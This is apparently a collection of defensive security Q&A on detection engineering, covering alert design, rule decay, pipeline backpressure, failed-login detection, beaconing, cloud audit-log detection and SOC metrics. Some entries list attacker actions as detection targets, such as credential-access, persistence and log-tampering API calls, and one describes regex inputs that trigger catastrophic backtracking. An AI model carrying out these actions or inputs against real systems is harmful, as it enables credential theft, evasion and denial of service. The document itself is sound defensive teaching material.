- Alert context. When it fires, does the alert carry process tree, user, host and parent image, or does the analyst need a second query to triage? A detection nobody can act on inside a few minutes is not coverage.
A fourth failure mode sits outside those three: a rule that fires 400 times a day technically covers the technique and is effectively unread. Measure alerts per rule per week, not just rule existence.
Hypothetical worked example: a team claiming 85 percent across 40 techniques:
| Stage | Techniques |
|---|---|
| alerted with context | 11 |
| telemetry missing | 18 |
| rule did not match | 8 |
| alert lacked context | 3 |
11 + 18 + 8 + 3 = 40, so the claim was arithmetically honest and operationally wrong. The 18 telemetry gaps are the ones to fix first: no rule added on top of them changes anything.
On how to validate, the three methods trade cost against what they prove. A telemetry audit is hours of work, needs no adversary emulation, and catches the largest bucket, but it says nothing about rule logic. Rule unit tests run in CI in seconds per rule and catch parser and regex regressions, but they only test against synthetic events you wrote, so they encode your own assumptions about what the log looks like. Attack simulation proves the chain end to end and is the most expensive: roughly an engineer-day per exercise including clean-up, and its own technique coverage is a ceiling on what you can claim.
Simulation-heavy validation is not worth it when the denominator is already suspect or when the telemetry audit just showed a large gap: fix that, then simulate only the techniques that survived. It is also poor value for a small set of high-value techniques you already monitor daily; there, unit tests plus alert-volume review buy more per hour.
What I'd report back is techniques exercised end to end, with the failing stage named for each that did not.
Curated: · Written: · Reviewed:
Q&A-6You want to alert on unusual administrative activity. Where do you start?
Start with the privileged-action inventory, not with a detection tool. Write down the ten to twenty actions that would end the incident if an attacker performed them, find the log source that records each, confirm it is enabled and retained, and only then decide how to alert. The inventory splits into two classes that need different detection.
Never routine. StopLogging, DeleteTrail, CreateAccessKey on another user, a new member of Domain Admins, the Security log cleared, a new Okta admin role assignment. These have no legitimate steady state, so a static rule that fires on any occurrence is correct and needs no baseline. Ship these first: no measurement, near-zero false positives.
Routine but rare. sudo to root, AssumeRole into the production account, kubectl exec into a prod pod, admin console login. These happen legitimately, so a per-event alert is noise. Baseline the (principal, target, host) tuple over 30 days and alert on new tuples or rate spikes.
| Action | Source | Detection | Fires on |
|---|---|---|---|
| StopLogging / DeleteTrail | CloudTrail management events | static | any |
| CreateAccessKey on another user | CloudTrail | static | any |
| Added to Domain Admins | Windows Security 4728/4732 | static | any |
| Audit log cleared | Windows Security 1102 | static | any |
| sudo to root | auth.log / auditd execve on /usr/bin/sudo | baseline | new (user, host) tuple |
| AssumeRole into prod | CloudTrail | baseline | new (principal, role) tuple |
| kubectl exec into prod pod | k8s audit, RequestResponse | baseline | new (user, pod) tuple |
Plumbing that decides whether any of this works: CloudTrail management events live 90 days in Event history, so a trail to S3 is required for a 30-day baseline plus investigation window. On Linux, sudo lands in auth.log or journald, but file-integrity watches on /etc/sudoers, /etc/passwd, /etc/shadow and /etc/ssh/sshd_config catch the edits that bypass sudo. On Windows, the Security log defaults to 20 MB; a busy domain controller rolls it within hours, so forward to a SIEM before alerting or the evidence is gone. For Kubernetes, set the audit policy to RequestResponse for ClusterRoleBinding writes, pods/exec and secret reads. For identity, Okta System Log and Entra ID audit cover admin role assignment, MFA reset and app credential creation.
The deciding criterion is blast radius crossed with whether the action is ever routine. Never routine: static rule, alert on any. Routine but rare: baseline on tuple novelty. Routine and frequent: aggregate and compare against a peer group rather than alerting per event.
Worked example, figures illustrative. A 200-host fleet runs sudo to root about 40 times a day, concentrated on six hosts. A per-event rule produces 40 alerts a day and gets muted inside a week. Alerting instead on a (user, host) pair unseen in 30 days produces roughly 2 a day, and the first true hit is a service account sudo'ing from a host it has never touched.
The failure mode to watch is baseline drift: a migration or a new deployment changes the tuple set and you get a burst of new-pair alerts that are all benign. Re-baseline on change windows, and publish the expected daily volume next to each rule so a spike is visible as a spike.
Curated: · Written: · Reviewed:
Q&A-82What does a good alert contain?
State the assumption, then answer. I'm answering the case where an alert wakes a human about a running service. Swap the entity and the evidence types, user and process events in place of service and latency, and the same field list covers a detection rule firing on activity. The structure doesn't change, and the test is the same either way: the responder can take the first correct action without leaving the notification.
A good alert carries three kinds of content: the claim (what was measured, against what threshold, over what window, on what entity), the decision (severity, who is paged, how urgent relative to everything else on the queue), and the pointer (dashboard, runbook, recent change). Everything else is noise on a phone screen.
| Content | Example | Decision it unblocks | Without it |
|---|---|---|---|
| Measurement, threshold, window | p99 480 ms against a 300 ms target, 5m | is this real or a blip | responder re-queries to check the alert is even true |
| Entity with identifiers | service=checkout, env=prod, cluster=eu-1 | where to look first | hostname only, so they search the fleet |
| Severity and route | page vs ticket, owning team | wake someone at 03:00 | wrong team paged, or nobody |
| Budget impact | burn rate 14.4x over 1h | rank it against the rest of the queue | every page looks equally urgent |
| Runbook, or the first step inline | link, or the one query to run | what to do in the next minute | each responder reinvents triage |
| Grouping and inhibition keys | service, cluster, alertname | one notification per incident | 40 pages for one dead dependency |
In Prometheus plus Alertmanager that is one rule and a route:
- alert: CheckoutLatencyP99High
expr: |
histogram_quantile(0.99,
sum by (le) (rate(http_request_duration_seconds_bucket{job="checkout"}[5m]))) > 0.3
for: 5m
labels: {severity: page, team: payments, service: checkout, env: prod}
annotations:
summary: "checkout p99 latency above 300 ms for 5 minutes"
description: "p99 {{ $value }}s, burn 14.4x; runbook /wiki/runbooks/checkout-latency; dashboard /d/checkout"
Alertmanager merges the labels into routing and grouping keys; its defaults are group_wait 30s, group_interval 5m, repeat_interval 4h, with a resolved notification by default when the condition clears. It reserves only the alertname label and requires no particular annotations, so summary, description and runbook are conventions your own config enforces.
Watch the detection delay hiding in that rule: a 5-minute rate window, for: 5m, and 30s of group_wait put the page about 10 minutes after the crossing began. Fast burns need a shorter window and a shorter for:, or the page lands after the incident is over.
Severity should come from the error budget, not from taste. A 99.9% availability SLO over 30 days allows 43.2 minutes of failure (0.001 * 30 * 24 * 60). Burn rate 14.4 over a 1-hour window is a 1.44% error rate and consumes 14.4 / 720 = 2% of the month's budget in that hour: page. Burn rate 6 over 6 hours is 5%: ticket. Alert text reading "burn 14.4x, 2% of budget" is rankable against the queue; "error ratio 0.0144" is not.
Failure modes that come up in review:
- Paging on a cause instead of a symptom. cpu_usage > 0.9 fires during benign batch work and stays silent through a bad deploy. Page on latency, error ratio or saturation at the SLO boundary, and route cause detections to a ticket queue.
- Identifiers missing from the resolved notification, so the page can't be matched back and lingers in the queue.
- Over-enrichment. Past roughly ten lines nobody reads; raw payloads also put user data into a pager and its chat channel.
- Flapping. A
for:shorter than the failure's own duration pages, clears, and pages again. Watch the share of pages that resolve within 10 minutes, and the pages that never led to an action: those are the alerts to delete or demote. - Enrichment placed in the wrong stage: joins in the rule put context in the payload even when the dashboard is the thing that's down, at the cost of maintaining the joins; delivery-time templating keeps rules small but breaks when the lookup service is what failed.
Two numbers per alert tell you whether it earns its place: pages produced last quarter, and actions those pages caused.
Curated: · Written: · Reviewed:
Q&A-98How do you keep detection content from decaying?
Assumptions. A few hundred to a few thousand correlation rules, content in git deployed through CI, and a normalized schema (ECS, OCSF) or at least a parser layer between raw logs and rules. If content is edited by hand in the console, version control is the first fix: nothing below works without it.
The core answer. Decay is invisible by default. A rule whose field was renamed produces zero alerts, and zero alerts is also what a quiet Tuesday looks like. Alert volume is not a health signal, so you have to manufacture one. Three layers, cheapest first:
- Source and field reconciliation. A scheduled job joins each rule's declared log source and fields against live schema and source health. This catches the most common decay (a dropped source, a renamed field, a parser that now emits null) without touching rule logic.
- Synthetic fixture tests. Each rule gets a known-bad event captured from real telemetry; CI replays it through the rule engine and asserts a match. This catches logic regressions and threshold drift.
- Firing-interval alerting. Alert when a rule has not fired within its expected period. Catches the residue the first two miss.
Where each one is wrong. Firing-interval alerting is cheap and it is the wrong tool for rules that legitimately fire rarely: a quarterly access review, an annual certificate check. You get false alarms, someone mutes the channel, and the control is dead. Synthetic tests cost fixture upkeep per rule and only prove the rule matches your fixture; if the fixture drifts from production telemetry you get false confidence. Reconciliation is cheap but blind to logic errors.
So tier by blast radius × detection value ÷ maintenance cost. Rules mapped to a compliance control or covering crown-jewel assets get fixtures and a cadence. Long-tail rules get reconciliation only. A rule with no owner and no live source gets retired, not left in place.
Failure modes and how you see them.
- Agent upgrade renames a field: N rules stop matching. Seen by reconciliation and fixture tests; not by firing-interval alerts if the channel is muted or the rule still fires on a different field.
- Parser change makes a field always null, so a rule matches everything: false-positive storm. Seen by per-rule alert-volume anomaly, not by "did it fire".
- Fixture drift: tests green, production broken. Seen by diffing fixture field coverage against the live schema.
Artefact: reconciliation query (PostgreSQL 15):
SELECT r.name, r.source
FROM detections r
LEFT JOIN source_health s ON s.source = r.source
WHERE s.last_event_ts < now() - INTERVAL '30 days'
OR s.last_event_ts IS NULL;
Artefact: method comparison:
| Method | Catches | Misses | Cost |
|---|---|---|---|
| Source/field reconciliation | dropped sources, renamed fields | logic errors, threshold drift | one scheduled job |
| Synthetic fixture tests | logic regressions, threshold drift | fixture drift, real-traffic shape | fixture upkeep per rule |
| Firing-interval alert | rules that stopped firing entirely | rules firing on wrong data; seasonal rules | low, but noisy |
| Adversary emulation | end-to-end coverage gaps | per-rule regressions | high, per exercise |
A worked example, figures hypothetical: 400 rules, 60 mapped to controls. Reconciliation runs nightly and costs nothing per rule. Fixtures for the 60 cost roughly a day of engineering to build and a few hours a quarter to maintain. The other 340 get reconciliation plus a 90-day no-fire report reviewed by the detection owner, who either justifies the rule, fixes it, or retires it.
Curated: · Written: · Reviewed:
Q&A-74A detection rule's regular expression makes the pipeline stall. What happened?
What happened
The rule's regex engine entered catastrophic backtracking on one log line and pinned the thread that evaluates rules. The pipeline didn't slow down because the rule was "complex": it stopped because a single event made the matcher enumerate an exponential number of ways to match, and every event behind it in that worker's queue waited.
Two things make this a pipeline incident rather than a slow rule:
- The trigger is data. Log lines come from the systems you monitor, so anyone who can write a field that reaches the rule (a User-Agent, a username, a URL path) chooses the input.
- Rules are evaluated in order per partition or worker. One blocked evaluation stalls the whole partition, not one event.
Mechanism
A backtracking engine (PCRE2, Java's java.util.regex, Python's re, Oniguruma) tries alternatives and rewinds on failure. When a quantifier wraps another quantifier over overlapping input ((a+)+, (\w+\s?)+, (a|a)*) the engine enumerates every way to split the input between the inner and outer repetition.
Trace ^(\d+)+$ against 111x. The engine tries: outer iteration consumes 111, $ fails at x; backtrack to 11 then 1, $ fails; 1 then 11, fails; 1,1,1, fails. Four partitions of three digits, then it gives up. In general the number of partitions of n digits is 2^(n-1).
| Digits before the failing char | Partitions tried | Wall clock at ~10^8 steps/s |
|---|---|---|
| 10 | 512 | ~5 µs |
| 20 | 524,288 | ~5 ms |
| 30 | 536,870,912 | ~5 s |
| 40 | 549,755,813,888 | ~90 min |
The worst input is the near-miss: it matches almost to the end and fails on the last character. A line that fails on the first character returns immediately.
Fixes, and what each costs
- Flatten the pattern.
^(\d+)+$is^\d+$. Most ReDoS patterns in rule sets are redundant nesting; deleting it costs nothing. - Cap the outer repetition.
(\d+){1,3}bounds partitions to O(n²) instead of 2^(n-1). Changes semantics if the field can legitimately hold more than three groups. - Atomic groups and possessive quantifiers (
(?>...),\d++) stop the engine giving characters back. PCRE2, Java and Perl have had them for years; Python'sreonly gained them in 3.11. They can turn a match into a non-match, so re-test the rule's true positives. - Use a linear-time engine. RE2, Go's
regexpand Rust'sregexcannot backtrack, so they cannot blow up, but they drop backreferences and lookaround, which some rules need. - Set a match limit. PCRE2 exposes
pcre2_set_match_limit()andpcre2_set_depth_limit(); Java and Python have no built-in timeout, so you wrap the input in aCharSequencethat throws past a deadline, or run the match in a process you can kill. A timeout is a backstop, not a fix: you still pay the timeout on every hostile event.
Anchoring ^...$ removes the scan over start positions, a linear factor. It does not touch the exponential one.
Detecting it before it pages you
Per-rule evaluation-time histograms, not just pipeline-wide latency: the stall is one rule. A watchdog that aborts rule evaluation past a few hundred milliseconds. Queue depth and consumer lag per partition. And a canary event carrying a known near-miss payload, replayed on every rule deploy.
The damage isn't the CPU. It's the events that queue past the detection window or get dropped when the queue is bounded: missed detections, caused by the data you were watching.
Curated: · Written: · Reviewed:
Q&A-81Your detection pipeline falls behind during an attack. What should happen?
"Falling behind" means detection latency, not throughput. The pipeline is still consuming; an event arriving now just won't be evaluated for minutes. That latency is the number to fix, because an alert 15 minutes late is worth far less than one 15 seconds late.
Assume a Kafka (or Kinesis) ingest tier feeding a stream processor that parses, enriches and evaluates rules, with endpoint agents, network sensors and cloud log shippers as producers. What should happen, in order:
- Detect it on the right signal. Alert on consumer lag and event-to-alert latency, not on CPU. Kafka exposes it via
kafka-consumer-groups --describe; Kinesis viaMillisBehindLatest. Page when p99 event-to-alert latency crosses your detection SLA. - Shed by priority, deliberately, with a recorded count. Never silent, never uniform.
- Land raw events in object storage before the detection path so a shed is recoverable by replay.
- Treat shedding as an incident, not a dashboard metric.
Why it falls behind. Arrival rate exceeds service rate. Service rate is usually capped by enrichment, a synchronous threat-intel or GeoIP lookup per event, not by parsing. By Little's Law, backlog = arrival rate × wait time, so once arrival exceeds capacity the backlog grows linearly and latency grows with it. Back-pressure pushed upstream doesn't save you: Fluent Bit's default Mem_Buf_Limit is 5 MB per input, and when it fills the agent pauses the input and then drops oldest. You've moved the loss to a place you can't see.
Prioritised shedding, concretely. Split sources into topics by class and shed the verbose ones:
| Source class | Baseline EPS | Attack EPS | Priority | Shed policy |
|---|---|---|---|---|
| EDR process creation | 8k | 12k | P0 | never shed |
| Auth / AD failures | 2k | 8k | P0 | never shed |
| Cloud control-plane | 1k | 3k | P1 | keep |
| DNS query logs | 6k | 30k | P2 | sample 1:100 |
| Firewall allow-logs | 3k | 10k | P3 | drop entirely |
The arithmetic. Baseline 20k EPS, attack 63k EPS, consumer capacity 25k EPS. Without shedding, backlog grows 38k EPS: after 60 s it is 2.28M events, so a new event waits 2.28M / 25k ≈ 91 s; after 10 minutes it is 22.8M and the wait is ~15 minutes, still climbing. Shedding DNS to 1:100 and dropping firewall allow-logs leaves 23.3k EPS arriving against 25k capacity, so the backlog drains at 1.7k EPS. The 2.28M backlog clears in roughly 22 minutes, and you can shorten that by scaling consumers. The P0 events are never delayed by more than the drain.
Failure modes to name. Silent drop: no record, so the investigation has gaps exactly across the attack window. Uniform shedding: dropping EDR and DNS at the same rate destroys the signal you need. Back-pressure to agents: loss moves upstream, invisible. Enrichment blocking: one slow lookup stalls the whole consumer; make enrichment async or cache it.
What to verify. Load-test above production peak, then confirm the shed is recorded with source, count and time window, that P0 sources are untouched, and that raw events replay from cold storage. If shedding isn't recorded, you didn't shed: you dropped.
Curated: · Written: · Reviewed:
Q&A-72How do you detect 5 failed logins in 10 minutes efficiently across a million accounts?
What I'd say first
Clarify the rule before building anything: is this 5 failures on one account, or 5 failures from one source? I'll assume per-account, trailing 10 minutes, and that "detect" means raise an alert or force a step-up challenge, not lock the account.
The rule is: for each account, count failed logins in the trailing 600 seconds; fire when the count reaches 5.
The thing that makes a million accounts tractable is that you never keep state for a million accounts. You keep state only for accounts that have failed at least once in the last 10 minutes. In a normal system that's a small fraction, call it 1%, so you're maintaining ~10,000 keys, not 1,000,000. Everything else follows from that.
Implementation
One Redis sorted set per account: score is the failure timestamp, member is a unique event id. On each failure, in a single pipeline (one round trip): add the event, drop everything older than the window, read the count, refresh the TTL. Python 3.12, redis-py 5.x:
WINDOW, THRESHOLD = 600, 5
def record_failure(r, account_id, now, event_id):
key = f"fl:{account_id}"
p = r.pipeline()
p.zadd(key, {event_id: now}) # event_id unique per attempt
p.zremrangebyscore(key, 0, now - WINDOW)
p.zcard(key)
p.expire(key, WINDOW) # key dies if no further failures
_, _, count, _ = p.execute()
return count >= THRESHOLD
Trace for one account failing at t = 0, 60, 120, 180, 240:
| t | zadd | zremrangebyscore(0, t-600) | zcard | fires? |
|---|---|---|---|---|
| 0 | 1 member | removes nothing | 1 | no |
| 60 | 2 | nothing | 2 | no |
| 120 | 3 | nothing | 3 | no |
| 180 | 4 | nothing | 4 | no |
| 240 | 5 | nothing | 5 | yes |
| 601 | 6 | drops the t=0 member | 5 | yes |
At t=601 the first failure has aged out, so the count is 5 again: correct, because the five failures at 60–300 are still inside the window.
Memory
A sorted-set element costs roughly 100 bytes (skiplist node plus dict entry) before the member string; a 5-element set with its key lands around 600 B–1 KB. At 10,000 active accounts that's ~10 MB. Even if every one of the million accounts were active, ~1 GB: one node, though you'd shard by hash(account_id) across a cluster anyway. The EXPIRE is what keeps it bounded: an account with no failures for 10 minutes disappears on its own.
Alternatives and when to pick them
| Approach | Per-event cost | Memory per active account | Accuracy |
|---|---|---|---|
| Sorted set (above) | O(log k), k = events in window | ~1 KB | exact |
| Two fixed 10-min buckets, INCR + EXPIRE | O(1) | ~100 B | undercounts at boundaries |
| Count-min sketch | O(1) | fixed, tunable | overcounts |
| Flink keyed state + event-time timers | O(1) amortised | state backend | exact |
The fixed-bucket version is the cheap one and it has a real hole: 3 failures at 09:59 and 3 at 10:01 is 6 in 10 minutes, but each bucket reads 3, so nothing fires. Use it only if you can tolerate that. The sorted set is exact and the cost is fine at login rates; reach for Flink only if you already run a stream platform and want detection decoupled from the auth path.
Failure modes
- Spray attack. One failure each across a million accounts creates a million keys. Pair the per-account rule with a per-IP/per-ASN rule and a global key cap that sheds least-recently-seen.
- Alert fatigue. 5 failures is a fat-fingered password. Locking the account is a DoS on your own users: step up to CAPTCHA or email verification instead.
- Clock skew. Use Redis
TIMEor a monotonic clock, not each app server's wall clock, or the window drifts per node. - Redis unavailable. Decide explicitly: fail open (logins proceed, detection degraded) is usually right for auth availability; fail closed turns a cache outage into a login outage.
Measure detection lag at production event rate, not in a test harness: a detector that falls behind is a detector that arrives after the attack.
Curated: · Written: · Reviewed:
Q&A-79What can connection metadata alone tell you about an intrusion?
I would settle TCP behaviour in detection by generating the technique and seeing whether anything noticed.
Connection duration, direction, byte counts, and regularity carry a lot of signal even when the payload is encrypted. Beaconing in particular is visible as regularity in timing that normal traffic rarely shows.
Concretely, look for regular intervals with low jitter, small consistent request sizes with larger responses, long-lived connections to rare destinations, and outbound volume anomalies, all of which survive encryption.
The reason for that specificity is a failure I have seen: A beacon at a 60-second interval with 5 percent jitter ran for 11 weeks; payload inspection was impossible and nothing looked at inter-arrival regularity, which would have shown it in a day.
Beacon visibility by analysis.
| Analysis | Detects 60 s beacon | Needs payload |
|---|---|---|
| signature matching | no | yes |
| volume anomaly | no | no |
| inter-arrival regularity | yes | no |
I would not consider it settled without evidence: Run an inter-arrival regularity analysis over outbound connections and confirm it surfaces a synthetic beacon.
Encryption hides the content, not the rhythm.
Curated: · Written: · Reviewed:
Q&A-28Where do you put network monitoring in an encrypted world?
Put the sensors where the plaintext still exists and where metadata is cheap to keep. In practice: flow records and DNS at the network edge, TLS handshake metadata at the perimeter, endpoint telemetry on the hosts themselves. Decryption belongs at a narrow, lawful, explicitly justified boundary, typically egress to the internet, not on east-west traffic inside the data centre.
What encryption actually hides
TLS protects the payload and, in TLS 1.3, the certificate exchange. It does not hide the shape of the conversation. Still on the wire: source and destination addresses and ports, packet sizes and timings, byte counts per flow, the SNI in the ClientHello (unless Encrypted Client Hello is in play), and the ClientHello itself, which JA3/JA4 fingerprints. QUIC is the same story with a twist: Initial packets are encrypted with keys derived from the destination connection ID, which is on the wire, so an on-path observer can still read the SNI out of them.
Not visible: URLs, HTTP headers, request bodies, and, once DoH or DoT is in use, DNS queries, unless you read them at the resolver or on the endpoint.
Where to collect
| Collection point | Sees | Blind to |
|---|---|---|
| Flow records (NetFlow/IPFIX, sFlow) at routers | 5-tuple, bytes, packets, timing | payload, SNI, DNS names |
| Passive DNS / resolver logs | query name, client, answer | anything after the handshake |
| Perimeter TLS metadata | SNI, JA3/JA4, certificate (TLS 1.2 only) | payload, and SNI under ECH |
| Endpoint agent / eBPF | plaintext before encryption, process, user | traffic from unmanaged devices |
| Break-and-inspect proxy | everything | pinned apps, QUIC, and your own risk budget |
The decryption trade-off
Inline decryption buys payload visibility and costs three things: CPU on the appliance, a new high-value target sitting on the path, and breakage wherever an application pins its certificate. A worked example: a team put a break-and-inspect proxy in front of internal traffic, broke certificate pinning in six applications, and created an interception point that itself needed defending, while every detection that actually fired could have come from flow data they already had.
What metadata can and cannot detect
| Detection class | Needs payload | Available from metadata |
|---|---|---|
| Beaconing | no | yes |
| Exfiltration volume | no | yes |
| DNS tunnelling | no | yes |
| Specific exploit signature | yes | no |
Failure modes to plan for
- Sampled flow misses small, low-and-slow beaconing. sFlow at 1-in-2000 on a 10 Gbps link yields roughly 1,250 samples per second at a 500-byte average packet size: fine for volume trends, useless for a beacon that sends one 200-byte packet a minute, which you would sample about once every 33 hours. Use full NetFlow or endpoint telemetry for those.
- A TLS 1.3 or ECH rollout silently blinds SNI-based rules. Catch it by tracking which rules stop firing after a client upgrade, not by waiting for an incident.
- Flow retention is affordable where packet capture is not, records are a fraction of the size of the packets they summarise, but only if you fix the retention window before the incident, not during it.
The decision rule
Before funding decryption, list your detections and mark each one payload-dependent or metadata-satisfiable. Decrypt only for the ones that genuinely need payload, at the narrowest boundary where you have legal cover, and spend the rest of the budget on flow, DNS and endpoint collection.
Curated: · Written: · Reviewed:
Q&A-93What changes about detection when workloads move to the cloud?
Core answer. The control plane becomes the attack surface, and identity replaces process execution as the primary detection signal. On-premises, an intruder has to land on a host and run something: Sysmon event 1, a parent-child process chain, a suspicious binary. In the cloud, the same intruder with a stolen access key never touches a host: they call APIs. There is no process to catch. And the workloads you most want to watch (S3, Lambda, RDS, DynamoDB) are managed services where you cannot install an agent at all, so host rules have nothing to run on. Coverage does not transfer: a rule set tuned to process lineage has no equivalent event in the control plane.
Why the control plane. Every meaningful action is an authenticated API call recorded in the provider's audit log: AWS CloudTrail, Azure Activity Log, GCP Cloud Audit Logs. An attacker's sequence looks like this, and each step is a detection opportunity:
| Step | API call | Signal |
|---|---|---|
| Recon | GetCallerIdentity, DescribeInstances, ListBuckets | first-seen principal + action |
| Credential access | GetSecretValue, AssumeRole | role assumption from new IP or user agent |
| Persistence | CreateUser, CreateAccessKey, CreateLoginProfile | IAM mutation by a non-IAM principal |
| Privilege escalation | AttachUserPolicy(AdministratorAccess), PassRole + CreateFunction | policy attached to self |
| Exfiltration | GetObject, ModifySnapshotAttribute | data event, or snapshot shared externally |
| Evasion | StopLogging, DeleteTrail, UpdateTrail | logging config change |
The last row is the one that bites: if the attacker disables the trail first, the events you needed are gone. Detect logging tampering out of band: a CloudWatch alarm or EventBridge rule on CloudTrail config changes, or a trail in a separate account the workload account cannot touch.
What to build. Detections on the audit log for identity, permission and configuration events: IAM mutations, role assumptions from new geographies or user agents, security-group and bucket-policy changes, key creation. Keep host telemetry where you still run hosts (EC2 with an agent, containers with a runtime sensor) because process-level signal is still real there. Re-derive coverage for the cloud estate; do not assume the on-premises matrix carries over.
Trade-offs. Two credible paths. Native managed detection (GuardDuty, Defender for Cloud, Security Command Center) gives findings in minutes with no pipeline to run, but the logic is opaque, coverage is provider-defined, and it is per-cloud. Custom rules on raw audit logs are portable across clouds and tunable to your environment, but you own the pipeline, the enrichment and the false positives. Deciding criteria: if you need one detection model across AWS, Azure and GCP, build custom on raw logs; if you need speed and low maintenance, start native and layer custom on top. Cost decides the log tier. Management events are recorded free in the first trail per region; data events (S3 object-level, Lambda Invoke) are off by default and billed per event, so a large estate can generate millions per day. Turn data events on for sensitive buckets only.
Failure modes. The migration gap: take a worked example of 180 on-premises detections and 4 cloud ones, where the first intrusion was found by the provider, not the team. And blind spots from default retention: CloudTrail Event history holds 90 days of management events, Azure Activity Log 90 days, GCP Admin Activity 400 days but Data Access logs off by default. If your detection window is longer than retention, export the trail to durable storage before you can hunt.
Curated: · Written: · Reviewed:
Q&A-33Which numbers tell you the security operation is improving?
Improvement means the attacker's dwell time and blast radius shrink. The numbers that show it are median time to detect, median time to contain, detection coverage confirmed by exercise, and the share of incidents your own telemetry found first. Alert counts and tickets closed measure how busy the team was, not how well it did.
Assumptions that decide the answer: an incident is a confirmed compromise or a credible attempt that required a response; the detection clock starts at the first evidence of the activity in your telemetry, not at ticket creation; and "improving" means less attacker time inside the environment, not less work for the analysts.
Why activity metrics mislead
Alert volume is a function of your detection rules and thresholds, so it rises when you add rules and falls when you mute them. Ticket throughput is a function of how fast you close, which includes closing wrongly. Neither has a causal link to attacker dwell time. Time to contain does, but only read as a distribution: the mean is dragged down by easy phishing resets, while the p90 is where the ransomware lives.
| Measure | Q1 | Q4 | Direction |
|---|---|---|---|
| alerts handled | 4,200 | 5,900 | +40% |
| median time to detect, internally found | 26 h | 9 h | better |
| median time to contain | 4 h | 11 h | worse |
| p90 time to contain | 9 h | 46 h | worse |
| incidents found internally | 70% | 55% | worse |
| techniques detected in exercise, of 40 | 12 | 31 | better |
Read alone, row one says the operation improved. Rows three through five say it got worse. The reconciliation is that the extra 1,700 alerts were mostly noise: at 20 minutes of triage each they consumed roughly 567 analyst-hours, about 14 analyst-weeks, spent on alerts that produced no incident.
The internal detection gain is real but the blended number hides it. With external notifications arriving at a median 72 h, blended time to detect is 0.55 x 9 + 0.45 x 72 = 37 h in Q4 against 0.70 x 26 + 0.30 x 72 = 40 h in Q1. Seventeen hours of internal improvement shows up as three hours of blended improvement, because the external share grew. Report internal detection time separately from blended, or the improvement is invisible.
Failure modes and how to catch them
- Alert volume read as detection. Watch the alert-to-incident ratio. If volume rises while that ratio falls, you added noise, not coverage.
- Mean time to contain. Split p50 and p90. A shrinking p50 with a growing p90 means you are fast on trivia and slow on the incidents that matter.
- Coverage claimed from deployment. A rule that has never fired in a test is a hypothesis. Require an exercise result per technique before counting it.
- Internally-discovered share gamed by reclassifying external reports. Audit a monthly sample against the original report source.
- Clock starting at ticket creation. Compare ticket creation time to the first telemetry timestamp on a sample; the gap is your queueing delay, and it belongs in the number.
When these numbers do not apply
During a build-out, coverage is the only honest leading metric; time to detect on a thin sensor set is noise. Employee-reported phishing is neither internal detection nor external notification, so track it in its own bucket or it distorts the share. Report the four numbers as trends with the denominator attached: incidents, not alerts.
Curated: · Written: · Reviewed:
Q&A-40How do you measure time to detect when you only know about the incidents you found?
My answer to measuring time to detect honestly begins with the condition rather than the alert it produced.
The metric is computed over discovered incidents, so it systematically excludes the ones still undetected, and improving it can mean finding easier incidents faster rather than finding hard ones at all. It is useful as a trend and misleading as an absolute.
Concretely, report it alongside the share of incidents discovered internally rather than reported by a third party, since that share is the better indicator of whether the hard cases are being found.
The reason for that specificity is a failure I have seen: A team reported median detection falling from 14 days to 2; over the same period the share of incidents reported by outside parties rose from 20 to 45 percent, meaning the hard cases were increasingly found by someone else.
Both numbers together.
| Period | Median time to detect | Internally discovered |
|---|---|---|
| year 1 | 14 d | 80% |
| year 2 | 2 d | 55% |
I would not consider it settled without evidence: Report internally-discovered share alongside every time-to-detect figure.
The metric excludes what you have not found.
Curated: · Written: · Reviewed:
Q&A-31What separates threat hunting from browsing logs?
Threat hunting is a hypothesis-driven search; browsing logs is a search without one. The test is whether, before you run a query, you can state what evidence would prove you wrong. If you can't, you're browsing.
A hunt starts with a falsifiable statement about adversary behaviour in your environment, tied to a technique and a data source that would confirm or refute it. For example: "If an adversary established persistence via a scheduled task (ATT&CK T1053.005), we would see a process creation for schtasks.exe with /create in Sysmon Event ID 1 or Windows Security 4688, plus a matching Task Scheduler operational log entry." That hypothesis names the technique, the telemetry, and the expected artefact. Running it either surfaces the artefact or documents that the telemetry was present and clean, which is a coverage statement, not a shrug.
Browsing has none of that. You open Splunk or Elastic, filter to the last 24 hours, and scroll. You may find something, but you can't say what you ruled out, so the next person repeats the work.
Trade-offs. Hypothesis-driven hunting is not the only legitimate mode. Data-driven or exploratory hunting: baselining what normal looks like in a new environment, or clustering rare process lineages to generate leads: is how you find hypotheses you didn't already have. It's the right mode when you lack a model of normal, or when you're onboarding a new data source. The cost of hypothesis overhead is real: a narrow hypothesis only finds the thing you thought to name, and a team that runs nothing else can miss the technique nobody hypothesized. Mature programs budget most hunt time to hypotheses and a slice to exploration that feeds new ones.
Failure modes. A hypothesis so broad it can't fail ("adversaries use PowerShell") is browsing with extra steps. A negative result that isn't recorded is a hunt that produced nothing reusable. And a hunt whose data source was never actually ingested returns a clean result that means nothing: verify the telemetry exists before trusting the negative.
Hypothetical quarter for a five-analyst team, to show the shape:
| Mode | Hunts | Confirmed findings | Coverage statements |
|---|---|---|---|
| Unstructured browsing | 1 | 0 | 0 |
| Hypothesis-driven | 9 | 2 | 9 |
The two findings justify the nine hunts; the nine coverage statements are what stop the next quarter from re-running them.
A hunt you cannot fail is a hunt that concludes nothing.
Curated: · Written: · Reviewed:
Q&A-30How would you use threat intelligence without drowning in it?
First, what "drowning" actually means here. Usually it isn't feed volume: it's that nothing in the feed changes a control or a detection, so analysts read, nod, and file. I'd assume a small team with limited analyst hours and some existing log retention, and design around that: two filters, durability and relevance, and one rule. Every report that survives has to produce a detection to test or a control to check.
Durability first, because it decides what you can act on. An IP or a file hash costs an adversary almost nothing to change: re-host, re-compile, re-register. Blocking on those buys hours to days, and by the time a feed is published the infrastructure behind it may already be gone. Behaviour is expensive to change (the tooling a group uses, the accounts it creates, the way it moves laterally) because it's tied to their toolchain and tradecraft. That stays useful for years and translates into detections and control decisions.
Relevance second. A report about a group that targets a sector you're not in, in a geography you don't operate in, is not intelligence for you; it's reading. Filtering on that alone removes most of the volume before an analyst touches it.
Then the operating model, per report:
- Split the observable from the behaviour. Observables (IPs, hashes, domains) go to retrospective search across retained logs, not only to the blocklist. Behaviour goes to a detection engineer as a test case.
- Retrospective search is bounded by retention, not by feed size. If your proxy logs roll off at 30 days and the report describes activity from six months ago, you can only search what you kept, so retention is the real constraint on this technique.
- Close every report with an artefact: a detection written and tested against a true-positive and a false-positive case, or a control verified (MFA enforced on that path, that service not exposed). "No action, and here's why" is a legitimate close; silence is not.
| Type | Useful life | Actions produced |
|---|---|---|
| IP indicators | days | blocking, retrospective search |
| File hashes | days | blocking, retrospective search |
| Behavioural TTPs | years | detections, control changes |
